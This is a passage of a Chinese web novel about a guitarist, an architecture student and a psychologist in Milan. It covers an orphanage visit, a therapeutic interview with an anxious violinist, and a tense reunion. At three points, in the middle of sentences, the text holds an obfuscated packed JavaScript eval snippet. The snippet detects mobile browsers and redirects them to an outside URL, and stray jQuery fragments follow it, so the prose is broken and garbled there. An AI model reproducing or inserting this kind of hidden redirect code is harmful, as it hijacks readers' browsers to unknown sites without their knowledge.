“你们知道吗?有一个孩子,她对你们的演出,反应很特别。”
“很特别?”
“对,她是一个自闭症的孩子,经常一个人躲在角落,也很少和我们说话,可是上次你们来过之后,她主动画了一幅画。”
于是,陈秋实对着门口喊了一句:
“囡囡,过来。”
门口似乎有一点点小小的动静,但很快又安静了,仿佛只是一缕风从门口路过而已。
可是老人像是能够透过墙壁看到后面的人似的,眯着眼睛又轻声地唤了一声:
“囡囡,别怕,爷爷在这里呢,这是你上次很喜欢的音乐家和画家呢。”
门口依旧安静着,大概过了十来秒,一个身影终于在门边露出了一个边。屋内的三人都很默契地没有说话,生怕惊吓到这个小心翼翼的孩子。
接着,一只眼睛挪到了门边,蓝色的瞳孔静静地注视着屋内的情景,它的主人似乎是在思考着什么,这时,徐迟笑起来,歪头对着那个有些胆小的女孩挥了挥手。
终于,小女孩仿佛在心里确认了什么,于是一只脚跨进门槛,把大半个身子挪进屋。
这个孩子是外国面孔,金色的头发被梳成了精致的小辫,多余的碎发用发卡别在耳后,一整套红色的衣服十分喜庆——如果不是她的脸上还有些局促和紧张的话。
“看到这些孩子,我常常会想到在国内的孙女,所以院里的小女孩,如果她们愿意的话,就可以找护工编小辫。”
“您真的太用心了。”
“我看这些孩子,就像是看自己的后辈一样,我只希望他们好”,他向小女孩招了一下手,“来吧,你不是很想给他们看看你的画吗?”
紧接着,陈秋实向面前的两个青年人解释道:
“上次她画完这幅画,晚上睡觉前还主动问护工,你们什么时候会再来。”
女孩正抱着一个本子,沈叙白猜那就是她想要展示的画了。
她把本子摊开,蜡笔描画的、简单的线条展现在眼前,虽然只是孩子的画作,但是徐迟很快就感受到其中展现的情绪。
作为一名建筑系的博士生,他深知不一样的色彩可以传达不一样的情绪。同理,作画的人所选用的颜色,也可以一定程度上表达创作时的情绪。徐迟认真地盯着画面上类似建筑的部分,她全部选用红色勾勒,从建筑学上来说,用红色来构筑建筑物,代表着更多的热情与愉悦。
至少说明,创作这幅画的时候,她是开心的。
“这是,城堡吗?”
徐迟起身走到女孩身边,然后蹲下来,视线与她齐平后轻声问道。
女孩没有直接回答他的话,只是低头注视着桌子上的画,捏着衣角,微微点了一下头。
“真好看。”
徐迟笑起来,他的温柔很好地传达了善意,面前小女孩的表情也终于变得舒展了一些。
“那......这是什么?”
他指着画纸上,此时,坐着的沈叙白也顺着他的指尖,把目光落在那个金色的弯钩上:
“是月亮吗?”
小女孩摇了摇头。
“那是......一个钩子?”
她又摇了摇头,正当两人准备转换话题,小女孩忽然开口,声音微小但十分清晰,因为说的中文,所以在音调上有一点点偏差。
“音......”
“是音符吗?”
沈叙白很快反应过来她想说什么,便把内心的答案放了出来。
她点点头,终于笑了。
这是一个四分音符。
“好了,囡囡,你去玩吧。”
门外的护工进来把小女孩带走,陈秋实注视着她们走远,缓缓开口:
“她说,这是关于音乐的城堡,城堡里面是音符,是最美妙的东西。”
“她很有音乐天赋。”
沈叙白开口,刚刚他注视着她的眼睛,在那里,他似乎看到了一星火苗。
在黑夜中燃烧,因为太过渺小,让人总担心会被无边的黑暗吞没。
但就是那么一点点亮,可以给夜里赶路的人一点慰藉。
“是的,后来护工告诉我,她在听到音乐的时候总是更加兴奋,所以我决定让她接触音乐。”
“会系统学习吗?”
“如果她愿意的话,当然。”
“可是......自闭症会不会在教学上有些困难?”
“困难肯定有,但我只希望她快乐,对院里的孩子我都只有一个想法——希望他们快乐。”
“哪怕并不会有什么成果,您也会给他们不断提供这些资源吗?”
“音乐是桥,让她可以走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146255|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出自己的世界”,陈秋实轻轻叹了一口气,往窗外看了一眼,沉声道:
“谁说没有成果?如果她热爱的话,那就是最大的成果。”
他们在院子里陪孩子们玩了一会,沈叙白站在秋千旁,时不时帮着孩子们推秋千。这时一个小男孩有些犹豫地走过来,然后轻轻拉住了沈叙白的衣角。
然后,他转了转眼珠,思考了一下开口:
“袅,握熙......”
沈叙白蹲下来准备耐心地听他说完,结果到这里就没了下文,他认真想了想刚才让人有些理解不了的话,疑问了一声:
“啊?”
“握熙......”
他的某根神经突然动了一下,顿时明明了他的话,于是他笑着用意大利语说道:
“我可以听懂意大利语。”
听了他的话,小男孩再次开口,用意大利语说道:
“你好,哥哥,我是希林,我可以看看你的吉他吗?”
“当然。”
此时他是单膝跪地的姿势,拿起放在手边的吉他,用一条腿架着,把吉他展示在希林面前。
希林轻轻把手放在木制的琴箱上,指尖因为激动有些颤抖,因为兴奋,他抬头又低头,几次撞上沈叙白的目光。
“你想试着弹奏吗?”
“可以吗?”
“当然。”
沈叙白把手附在希林的小手上,带着他手划过琴弦,吉他声如同流水般淌了出来。
与此同时,他再次看到希林的眼睛。
那样亮。
像是春日里的水波,带着阳光一层一层涌上来,宝石一样。
“喜欢吗?”
“稀饭。”
看得出来他真的很想表达自己的开心了。
听着这不标准的中文发音,沈叙白笑了起来,他抬眼看不远处的徐迟,他正坐在地上和一个女孩子搭积木,就像上次他给孩子们介绍建筑学知识一样,他一边讲解一边看着小女孩把积木搭起来。
看着她建造属于自己的房子。
“哥哥,你们还会来吗?”
身边的小男孩开口,他有些笨拙地想要像沈叙白那样抱起吉他,模仿他演奏的样子,只可惜的他的年龄太小,身板自然也小,抱起吉他有些吃力,就像抱着一整个大木盒子。
“你希望我们来吗?”
沈叙白把手放在吉他下方当作一个支撑点,向上使了一点劲,让他不用那么吃力。
“我们都很喜欢你们。”
“真的吗?”
“真的,你们来一次,我们就要开心很久。”
“你很喜欢音乐吗?”
“我很喜欢,长大以后,我也要像你一样,成为会弹吉他的人!”
“好啊”,沈叙白用另一只手抚摸着他的头,卷发的手感很蓬松,“你一定会成为一个很棒的吉他手。”
“像你一样吗?”
“你不用和我一样,你会成为更棒更棒的吉他手。”
“不,我就要像你一样,哥哥,你已经是我见过最厉害的人了。”
沈叙白愣住了,他看着面前的这个孩子,内心翻涌着,说不清道不明的情绪源源不断地涌出,然后淹没他,眼眶不知为何有点湿润。
他蹲下来,握住希林的手,问道:
“为什么要像我一样?”
“在我眼里,你就是超人,你可以把好听的声音弹出来。”
你给孩子们筑起一个关于音乐的、美好的梦。
你是他们的超人。
9. 存在
方锐寻走进会客厅,已经有人在等他了。
不远处的沙发上坐着一个女孩,柔顺的黑发搭在肩后,一件针织长裙,披肩遮住她的大半脊背,却依旧透出一种孤独感。尽管面前并没有人,但她依旧把脊背挺得笔直,远远看去像是一副体态优雅的雕塑。
听到开门得声音,女孩的眼睫轻轻颤动了一下,她把落在窗帘上有些呆滞的目光移了过来。
“方医生。”
“你好。”
方锐寻在她对面坐下,把手中的文件夹顺势放在茶几上,“在开始前,想喝点什么吗?这里有茶和咖啡。”
“茶就好,谢谢。”
“好。”
方锐寻没有多说什么,只是起身到角落去倒茶,水汽升腾而起,把茶杯放在女孩面前时,方锐寻的目光像是无声的射线般,敏锐地发现她眼下轻微的浮肿。
她很疲惫。
她为了今天的见面而静心打扮了一番,花心思去遮把因为焦虑失眠而产生的乌青,但眼神的光亮与眼下的浮肿是没有办法被完掩盖的,只要有一点点的机会,它们都会见缝插针地展示出这具身体状态。
“已经......很久没喝过茶了,上一次闻到茶香,似乎还是几年前在国内。”
“嗯,茶的味道确实能让人找到一些熟悉的感觉,我们过会儿的谈话,你可以选择任何让你感受到舒适的方式。”
“嗯。”
方锐寻拿起面前的文件夹,一只手托在下方,另一只手从胸前的口袋里拿出钢笔,笔盖被拇指推开,笔杆上留下的一点墨水被蹭在指尖,随着动作在指腹蔓延开,一小片暗色墨迹无意间衬得肤色更白。
但方锐寻没有去在意,他平静地开口道:
“宁芝,首先,非常感谢你能抽出时间参与这次交流,请再次确认,你的心理医生艾斯已经和你详细说明过,我是一名来自中国的学者,正在和米兰大学附属医院进行专业交流合作,今天的会面,是一次基于你自愿的、非治疗性的专业访谈,你的所有信息都会被严格保密。在我们开始之前,你对此还有什么疑问吗?”
“没有,艾斯医生帮助了我很多,能帮上她和你们的话,我很开心。”
“好,那么今天的谈话内容、节奏和深度可以完全由你主导,时间为五十分钟,你可以选择你想谈论的部分,也可以在任何时候暂停或跳过任何问题。我们的目标是通过你独特经历,增进对音乐家心理的理解,你才是这个领域的专家。”
“谢谢。”
在见她之前,沈叙白看过诊断书,同时也去了解了一下面前的这个女孩。
21岁,青年小提琴手,出生于音乐世家。
年纪尚浅却已经多次站上舞台,拥有同龄演奏者无法比拟的丰厚经验,发行部分曲目被多次选入展演,校内得到不同导师的高度评价。
这份履历无论怎么看,都只会让人惊叹,光芒万丈的前景,家庭背景的加持意味她着不可限量的人生。
可能唯一不好看的、也是别人看不到的,是她的病情诊断书。
广泛性焦虑障碍、社交焦虑障碍、适应障碍并伴有混合焦虑与抑郁情绪......远看精致完美,实则埋藏在下的是满溢的焦虑和空虚。
“宁小姐,我看过你最近的一次音乐会,您的演奏很有魅力。”
“是吗,多谢方医生,只是对于那一场演出,我并不是很满意。”
“为什么会这样想?”
“中间有一个曲段,本来可以更好。”
“我看了你们学校不同教授的专业访谈,他们对这次的音乐会一致给予了非常高的评价,宁小姐,或许你对自我的评价被焦虑控制了。”
“艾斯也和我说过,可是我分不清。”
“就比如上一次的演出,你在哪个具体时刻感受到了不适?”
“具体时刻......上台前,很难受。”
“具体是什么样的感受。”
“心跳加速......我感觉我的眼前有些模糊,耳边的声音也变小了,当时好像有人要和我说什么,但我只感觉到他的嘴唇在动,传到我耳边的话却延迟了......我过了好一会才明白他在和我说什么......”
方锐寻精准地察觉到了她此刻的面部表情,呼吸加快,频率不齐,肩颈僵硬,轻微颤抖,眼睛盯着桌上的茶杯,但却空洞没有光彩。
就在这时,喉咙的一阵异物感结束了宁芝的话,她突然干咳,沈叙白拿起面前的茶杯碰了碰她的手,试图让她回过神。
“宁芝。”
她没有回答。
“宁芝。”
她还是没有回答。
眼前的光影变换着、颤抖着,她仿佛回到了那个夜晚,拿着小提琴的手都在微微颤抖,身边的人一直在和她说什么,但她却怎么也理解不了,耳边夹杂着父母在电话中的话语:
“宁芝,今天的演出很重要。”
“妈妈联系了你院校的导师来做访谈,他们都会在台下看你的演出。”
“曲子都练习好了吗,你不可以给家里人丢脸。”
“记住了没有?”
“宁芝。”
母亲严肃的声音和方锐寻轻声的呼唤重叠在一起,但前者的声音过于尖锐,入耳时却感觉心脏被人紧紧攥住,挣扎不开只能任凭眼前逐渐黑暗。
“宁芝。”
方瑞寻第四次唤她,望着她空洞的眼神,走过去轻轻拍了一下她的肩膀。
虚虚碰到茶杯的手顿时收紧,杯沿的液体随着晃动染湿了指尖,宁芝感受到自己眼前那个在梦里无限循环的画面般破碎了如同玻璃做的画布被人猛敲一下,化成漫天飞舞的银光,女人的声音消失了,取而代之的是一个男人的呼唤。
看到宁芝逐渐恢复清明的眼神,方锐寻坐回到她的对面,叹了口气:
“喝口水吧。”
“抱歉,我走神了。”
女孩面带歉意地对他笑了笑,轻轻抿了一口茶水,清香染在唇齿间,她稍微放松了一点。
“不必说抱歉,放轻松,宁小姐,演出已经结束了,你的表演很优秀。”
“好......”
宁芝低头微微笑了一下,但是方锐寻很快意识到,她并不相信自己对她的肯定,现在的回答也仅仅是出于她自身的教养。
“现在很安全,离那场演出,还有其他所有人都很远,可以告诉我,当时看到了什么,会让你出现严重的焦虑和躯体化吗?”
“我......我当时......我在台上进错了节奏......我没有完成演出,我看到所有的教授都给了我很低的评价......我看到我父母......”
“可这些并未发生。”
“我知道。”
“那现在这样的画面还会经常出现吗?”
“会。”
“具
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146256|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体在什么时候?”
“很多时候,梦里,和爸妈打电话的时候.......还有......”
还有每当想到舞台的时候。
方锐寻在心里补充道。
“感受到这些的时候,会有什么身体部位感到紧张吗......比如手?”
“我不知道。”
焦虑会加快人的心跳,脑细胞过于活跃,人对身体的感知能力就会变差,这可以很好地解释为什么人在毁灭性的灾难来临时,会被激发出不可思议的“潜力”。
“没事,我们可以慢慢地感受,刚才进来的时候,我看到你的指尖在轻微抖动。”
“是吗?”
“当然,不过我又看到,你指尖的动作是有规律的,如果没有猜错的话,你应该是在模仿演奏时的指法,最近是有什么演出吗?”
“是,一个月后有一场。”
“焦虑正在控制你,控制一些你会害怕失控的东西,比如说父母和导师的评价,比如说观众的感知。当你在舞台上感觉被评价,你会觉得那个批评声来自哪里,而它又说了什么?”
林芝低下头,光线在经过她的五官时被截断成形状不一的阴影,剩余的光线勾勒出起伏的皮肤的边缘,她的眸光总是淡淡的,像是一切都没法让她提起兴趣,只有从眼睫轻微的颤抖可以感受到一点情绪的波动。
她没有立刻回答,在方锐寻耐心的等待下沉默了一会儿,再开口:
“我的父母......我的导师,他们说......”
你让我们失望透顶。
察觉到宁芝再次绷紧的神经,方锐寻果断结束了这个问题,安抚道:
“现在看到的一切都是不存在的,这些否定会在在过度焦虑的情况下强行加持在生活里,你给自己灌输了一个‘我是失败者’的想法,并且把它当成了一个事实来遵守。”
“我......”
“你现在还是很紧张,如果愿意,可以将呼吸带到某个紧绷着的部位,就比如现在你的手,不需要强行地改变它,只需要观察它,然后随着呼吸看看它的变化。”
宁芝的目光落在自己的左手上,她深吸了一口气,感受着指尖无意识的震颤。
“对,放松,你只需要感受它。”
她放平自己的呼吸,然后把另一只手轻附在这只手上,用指腹换换揉搓颤抖的指尖——像是在安慰一只受惊的小动物。
终于,她的意识平静下来,手腕放松,指尖也停止了动作。
看到她终于放松下来,方锐寻才继续:
“你刚才提到的失败感,我能感受到它给你带来的压力和巨大的痛苦,很多优秀的音乐家,神经系统都会这样高敏感地工作。”他合起手中的文件夹,对上宁芝的眼睛,语气认真:“你对艺术的深刻感受力,才是你对音乐最深刻的价值,你的存在,决不在于那千分之一的误差。”
五十分钟的时间很快过去,交流结束了。
方锐寻在送她离开的时候问了一个问题:
“宁小姐,你对音乐的理解是什么?”
女孩站在走廊上,研究中心冰冷的设计风格让她的背影显示出一种沉默的孤独。
她最终只是回头,依旧是有点带着歉意的微笑,对方锐寻说:
“我不知道,方医生。只是如果没有音乐的话,我不知道我是谁。”
如果音乐不存在,那我应该也不存在。
10. 面目全非
沈叙白转动钥匙,向右转动第三圈的时候,“卡塔”一声金属沉响,门锁应声而开。
他把沉重的行李箱狠狠往里拽了一把,站在玄关处往屋里看,窗帘被人拉上,尽管是中午,依旧很昏暗得看不清。
已经很久没来了。
这是Bocconi的一个小区,沈叙白三年来都住在这儿。
一整个本科的时光。
这里离学校很近,步行不超过三分钟就可以进入校园,对于很多追求安全、效率的学生来说,这是再好不过的选择。
但这不是沈叙白的选择。
脱下那身学士服后,他就直接拖着行李箱离开这座公寓,他像是拿着一把刻刀,在关门声重重响起的时候彻底和过往划清界限。
哪怕这里租金昂贵,哪怕这间公寓的还没到期。
两室一厅的户型,在Booconi周边的地段,精致的装修,沈叙白没在意剩下不少的租金和舒适的生活环境,却跑到Navigli运河周边的一个小阁楼里。
相比之下,那个阁楼看上去确实过于寒酸,一室一厅,还是房东自己做的隔断——阁楼原本是不住人的,只用来堆放一些杂物。
搬离这里的时候还是夏天,为了安全,沈叙白离开时拉下电闸,也关闭了所有的阀门。
时间转眼就过了几个月,当时蝉鸣不断的米兰已经冷的要飘雪,屋里没开暖气冷的像是要结冰,沈叙白在墙角蹲下,用纸巾抹了阀门上的灰,用力拧了一下,把屋里的暖气打开。
器械运作的“嗡嗡”声传来,沈叙白站在暖气旁等了一会,直到房间里许久没人住的清冷气息被发闷的空气取代,他才走进屋。
检查了一下每个房间都依旧如初,他回到卧室把窗帘拉开,推开窗户透气。
房间里凡是有平面的地方都落了厚厚的灰,他找来抹布打湿,开始清理房间里因为没人居住而被时间留下的痕迹。
如果不是今早的一通电话,他大概会直接等到第二年的三月,直接退租,再也不踏进这个门。
打扫卫生是一件可以让人趁机发呆的事,擦桌子时,沈叙白的眼神呆滞地随着动作移动,昨晚母亲在电话那头的话打死也赶不走般缠在耳边。
“叙白,妈想你了。”
对话的开头永远这样温馨,从一位母亲的口中说出,便不免让人内心酸涩。听到的人都会毫无疑问地认为,她一定是万分疼爱自己的孩子。
这句话带着温度和画面,穿过那些蹉跎的岁月,越过那些纠缠在一起、却无解的过去,把他的灵魂拉进高中教学楼下那副瘦弱的躯体——在冰冷的风中拉着校服领子,颤抖着把老式电话机的听筒贴在耳边。
“叙白,妈想你了。”
溃不成军。
时间能在死物上过往不留痕,但却能把活着的人削得面目全非。
至少他自己是这样。
不知道从什么时候开始,或许是北风太过猛烈,又或许是那年北京的冬天来得太早,女人温柔的话在冰天雪地里走了调,成了满地的玻璃碎片,尖声的吼叫,狼藉的房间......
这样的光景映在少年眼里,在黑暗的角落融进眼泪,最后成了咸涩的味觉,被压抑着的呼吸掩盖。
化成了沈叙白再也回不去的过去。
他像很多年前一样,对电话那头的人说:
“我也想你。”
只是现在,他说这话再没像高中楼下那样,一边说还一边尽力让自己的声音显得不那么颤抖。
只剩下麻木。
像是一种固定的流程,不定期刷新,尽管知道自己说这话已经失去意义,只是一具毫无内在的躯壳,曾经温暖的内在早已被消耗殆尽。
把屋里的桌面全部擦拭了一遍后,沈叙白把沉重的行李拖拽进卧室。当初他走的时候,没有留下任何东西,但拉开衣柜的瞬间,本来空空如也的隔层角落里却蜷缩着一小块暗红和灰色交织的布。
难不成他把什么东西忘在这里了?
隔层上的灰尘随着拉开柜门的动作升腾而起,伴着呼吸没入鼻腔,让他忍不住打了个喷嚏,沈叙白有些嫌弃地揉揉鼻子,小心翼翼地用指尖摁住那块布料的边角,拿到面前仔细辨认。
他这才发现,布料是因为落了太多灰尘而变了颜色。他把布料展开,根据形状与上面的花纹,记忆瞬间如同潮水般涌来,他反应过来这是什么东西。
Bocconi的一条领带。
不过并不是他在入学后得到的那一条,手中的这条比他自己的那条久远得多——这是在很多年前,母亲给他的,原本属于外公。
她曾经多么希望自己的儿子能戴上,似乎这条领带是大洋彼岸那个女人所有的期望的实体。
只是它太沉重了,变成了、一把枷锁,让沈叙白再也负担不起。
离开那天,他把所有行李都打包装好,唯独这条深红与金色条纹交织的领带被孤零零地放在桌上,最后,出租车到了楼下,他把领带随手扔在了隔层的角落,随后甩上柜门,径直下了楼。
行李太多,装不下了。
他这样对自己说。
离开半年后,他没再掩饰自己最初的想法,干脆利落地开门走到走廊上,把这块布料卷起来投进垃圾桶。
柜子清理干净以后,沈叙白开始把行李箱中的衣物往柜子里塞,一想到自己费劲地把这些东西又从阁楼搬过来,居然只是因为一通电话,他就忍不住地想骂自己——
这简直太他妈窝囊了。
“叙白,妈月底要去法国出差,顺路去看看你。”
“啊?”
接到电话时,沈叙白刚从图书馆出来,夜色很深,路过的风钻进衣服缝隙把身上的热量顺走,握着手机的手已经冰得有些发痛,传给神经沉闷的疼。
疲惫之下,接到这样一通电话,大抵是十分糟心了。
女人感受到了沈叙白的沉默,语气中便没了刚才的温馨,带上些审视的味道。
“有什么问题吗?”
“没有,那你住哪里?”
“给你租的房子不是两居室吗?我住你那,房子马上就要到期了,如果可以的话就续租。”
沈叙白很想说“不”,但不行。
“我最近看,你们学校有竞赛吧。”
“是。”
“要好好准备知道吗?叙白,妈每天过的这么痛苦,唯一活着的意义就是看你成才了。”
沉默,死一般的沉默。
仿佛那句“我也想你了”是他装模作样下能够说出的、最后一句温馨的话。
“嗯。”
电话那头还在滔滔不绝,在对方的喋喋不休中,沈叙白走了个神:
无线电信号是不是可以变成下水道?
不然她怎么可以一直这样倒苦水?
挂断电话后,沈叙白坐电车回到阁楼,从墙角拉出行李箱,把衣物和部分小家电塞进去。
他得带着一些东西回去做做样子。
沈叙白走出公寓的时候天已经有点黑了,他拎着空行李箱站在路边等车,手机的消息提醒蹦了出来。
是一封邮件。
指尖在屏幕上划拉了几下,他最近正在准备竞赛,经常会收到导师和同学的邮件,因此理所当然地认为这封也是如此。刚好此刻电车进站,如果是竞赛相关,那等二十分钟到家后再回复也不迟。
当他终于回到阁楼拿出手机,看到内容时,却突然愣住了。
这封邮件与竞赛毫无关系。
“沈叙白同学:
你好!
我是林薇,目前在米兰大学附属医院研究中心从事中意跨文化心理健康研究工作,我们的团队致力于研究用艺术连接人心。目前,我们正在筹划一次前往“回声之家”福利院的文化交流活动,而你的名字被院长先生和孩子们多次提及,在照片中也多次看到您的身影
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146257|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
与其说这是一封传统的邀请函,不如说这是一次合作探索的开端。此次写信是希望能邀请你,以你独特的经验和视角,成为策划这次活动的关键伙伴。
我们深信,最好的活动灵感,往往来自于亲历者的心声。
如果你对参与策划有哪怕一丝兴趣,并愿意与我们进行一次简短的电话聊天,只需随意回复一个数字。
我明白这是一个不同寻常的请求,你的时间和意愿永远是第一位的。无论你是否回复,我们都衷心感谢你抽出时间阅读这封信,并期待在未来的活动中见到你。
祝今天过得愉快!”
把邮件从头到尾看了一遍,沈叙白有些摸不着头脑,对方是谁?为什么要找他这样一个平平无奇的大学生,还说什么合作?
等等,这个人刚说他是谁?在哪里?
耳边仿佛有隐隐约约的声音,沈叙白肯定邮件里面的内容一定有他了解过的。
于是他定睛,再次从第一个字看起:
“......我是......目前在米兰大学附属医院......心理健康研究工作......”
米兰大学附属医院?
心理健康研究工作?
沈叙白想了想自己这段时间接触的人,除了校外的徐迟、社团里的好友、酒吧中遇到的几个乐手和调酒师......那就是......
“我是心理医生,来意大利交流学习。”
只不过,这个名字刚出现在脑海,还没来得及细想,徐迟的电话就打了过来:
“叙白,你收到邮件了吗?”
“什么邮件?”
“就是什么,名字好长,我再看看......哦对,米兰大学附属医院研究中心发过来的,邀请去参与策划文化交流活动.....你收到了吗?”
“刚看到。”
“应该就是咱们前面参加的艺术交流活动吧,现在他们想要办一个官方的,邀请我们过去。”
“你要去?”
“我不是来问问你的意见吗?毕竟前两次都是咱俩一起去的。”
“但是最近很忙,我有一个竞赛......”
沈叙白一想到昨晚接到的电话和接下来的竞赛和课程都一个头两个大,他第一反应就是拒绝。
“这个你放心,我已经问好了,回复之后他们给我打了电话,是一个女人,她说只是策划和参与重要的节点,不会占用太多的时间。”
“可是我......”
沈叙白又要拒绝,徐迟见状,于是又开始用平常“恶心”他的语气说话:
“求你啦,Salis,咱们就去了解一下嘛。”
“怎么了解,电话?”
“当然不是”,徐迟察觉到沈叙白的语气中有一点点松动的迹象,瞬间精神起来,“她邀请明天下午去研究中心具体商量一下,你明天下午有课吗?”
沈叙白沉默了两秒,在脑中细细回顾了一下自己的日程表,完全确定以后才回复道:“没有。”
“那咱们就去吧,就当了解一下。”
“你为什么......会对这个这么感兴趣?”
沈叙白没有直接回复他的邀请,却问了另一个问题,对方显然没想到他会突然问这个,果不其然,电话那头的声音顿住了。
过了几秒,徐迟用很认真的声音说道:
“因为,我总会想起那个女孩的眼睛。”
“......”
沈叙白也沉默了,透过徐迟的话,他也想到了那些孩子,“好,明天见。”
挂断电话后,沈叙白随手回复了一个数字,没等对方打电话进来,就直接说明明天下午会过去了解。
一切都处理妥当,他才回想起最初脑海中出现的那个人。
最后,他自嘲般摇头笑了笑。
怎么会有这么巧的事呢?
他这样想。
11. 心跳
14:27,米兰大学附属医院研究中心。
沈叙白刚下出租车,就看到站在大门前的徐迟。
“叙白,来了。”
沈叙白点头,和徐迟一起走进研究中心,环顾四周,大厅装修风格冰冷坚硬,墙壁和地板都铺设了大理石,暖色调灯光落在上面,过于简洁风格的装修,还是给人一种陌生的离感。
电梯口前是整齐排列着验证机器,想进去就需要人脸识别或者刷卡,既然是研究中心,自然不是谁都可以进去。
“就是这里吗?”
“昨晚电话里给的这个地址,她说会来楼下接我们。”
“那人呢?”
“还有三分钟,可能还没出来吧。”
此时,研究中心17楼,方锐寻刚刚结束案例交流,最近他需要完成一份专业的研究报告,因此接触了不少案例。
和面前这个人的交流刚刚结束,他起身准备送对方下楼,正当他关上关上会客厅的大门,身后的林薇突然叫住他。
“方,你要下楼吗?”
“是,我送一下他。”
林薇用胳膊夹着一个文件夹,左手握着手机,卷发随着过快的步伐有些凌乱,她的眉心拧着,眼神中夹杂着担忧。
“怎么了?”
“刚那边打电话,说有一个案例需要我过去重新交接,但我刚好约了人”,林薇拿起手机看了一眼时间,叹了口气道:“人现在应该已经到楼下了,方,过会你下去,能顺便带他们上来吗?”
“是福利院活动的那两个学生吗?”
“是,我约了他们今天下午见面交流,本来现在要去接他们,但是实在是......”
“没事,你去忙吧,我接他们。”
“好,要和他俩交流的资料我已经提前放在茶几下面了,我这里不知道什么时候可以结束。”
“好,你放心。”
方锐寻点头,示意她放心,转身去送刚才和他交流的男人。林薇见状,也踩着裸色高跟鞋快步走进了另一个会议室。
“啧,不是说好了两点半见面吗?”徐迟和沈叙白坐在大厅的沙发上,他有些不耐烦地低头看了一眼表,给了沈叙白的背一肘子,用揶揄的语气道:“这怎么还不守信用呢?”
“或许很忙吧,再等一下。”
沈叙白嘴上说着是陪徐迟来的,心里也还一直找借口说怎么可能会那么巧,身体上却很实诚。不过心口不一也会让他感到焦灼,最后他给自己找了个理由:人一定会对自己承诺过的东西念念不忘,无论践行与否。
他盯着不远处的电梯,心里还在夸自己真是个信守承诺的好人,就连一首歌都记得清清楚楚。
“叮”的一声,电梯门打开了。
沈叙白内心不由自主地紧了一瞬,脊背挺着,心想:既然接电话的是个女人,那如果是那天在教学楼下的那一个,就说明这个交流项目也和他有关?
心跳好快。
悬而未决的事情能给人带来紧张的刺激感,沈叙白的视线紧紧地盯着那道电梯门。
直到里面走出了一个陌生面孔。
不认识。
期望落空,他像是在山间小道上行走的人,一脚踩空后心里只剩下失望。
不过失望的情感只是冒出了一个头,就被新的震惊压了下去,沈叙白的瞳孔不由自主地放大。
电梯里又出来了一个人。
笔挺的黑色西装,衬衫的下摆被整齐地压好,勾勒出劲瘦的腰腹线条,他今天打了领带,上面那枚小小的领带夹在暖调的灯光下泛出细微的光。
和面前的男人说了几句话,再把人送出门,方锐寻环顾一圈,最后把视线锁定在沈叙白身上。
四目相对。
刚漏跳一拍的心脏横冲直撞起来,只是对方在看到他的一瞬间,似乎没有任何惊讶,而是很自然地笑起来,向沙发这边走。
“你好,请问是徐迟和沈叙白吗?”
“是的是的”,徐迟从沙发上跳起来,握住方锐寻伸出的手,“我是徐迟,这是沈叙白。”
沈叙白这才缓缓从沙发上站起来,在对方平静且温柔的目光中,开口只说出了一个字:
“你......”
“好久不见。”
方锐寻这样说。
徐迟疑惑的目光在两个人身上来回绕了几圈,最后落在沈叙白身上:
“你们......认识?”
“我们是朋友。”
沈叙白还没开口,方锐寻就直接抢答。
徐迟脸上露出笑容:“原来你们认识啊,那你不早说啊叙白,你还说不想来来着......”
“我哪里说不想来的?”
听到不想来,沈叙白直接打断他的话。
“哦,是的,不想来的是我。”
徐迟对沈叙白眨眼笑笑。
沈叙白:“......”
“那二位上楼吧。”
方锐寻带他俩上了17楼,刚出电梯,徐迟的手机就响了起来,他抱歉地对方锐寻和沈叙白笑笑,方锐寻给他指了走廊地角落,叮嘱他接完电话直接去走廊尽头的会客厅就好。
只剩下两人。
沈叙白有些尴尬,他摸了摸鼻尖,正寻思着如何开口,就听到对方问道:
“你很不想来吗?”
“没有。”
“是怕你不守信用被我抓到了?”
——那首《Le onde》
“当然不是,我只是很忙。”
沈叙白正跟着方锐寻去会客室,虽然没有听到别的声音,但是从前面这个人微微颤抖的肩膀来看,他在偷笑。
这个问题上自己简直太不占上风了。
于是他轻轻咳了一下,开始转移话题:
“刚才为什么那样说?”
“哪样?”
“就说......我们是朋友。”
“我们不是吗?”
“......”
这时正走到会客厅的大门,方锐寻从西装口袋里拿出卡放到门口的电子屏上,“滴滴”一声,门应声而开。
“那你对于朋友的界定是什么?”
“界定?”
“至少给一个标准吧,让我看看是哪几条没做到。”
“?”
怎么有这样的人?
“这哪有......”
“知道了,我们不是朋友。”
“也不是这样说......”
沈叙白一时想不出来怎么接话,只觉面前这个人耍无赖,什么好话都被他说了,还让别人觉得都是自己的错。
“那我当你的听众。”
“啊?”
